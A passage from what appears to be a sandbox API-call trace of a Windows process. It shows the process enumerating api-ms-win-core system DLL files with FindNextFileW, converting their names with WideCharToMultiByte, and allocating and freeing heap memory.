(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.346] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x94c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.347] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.347] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x94c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.347] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x94c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.348] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x94c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.348] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x94c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.348] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x94c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.349] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x94c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.349] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0038.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x94c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.350] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.350] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x94c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0038.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.350] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x94c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.351] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x94c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.351] RtlFreeHeap 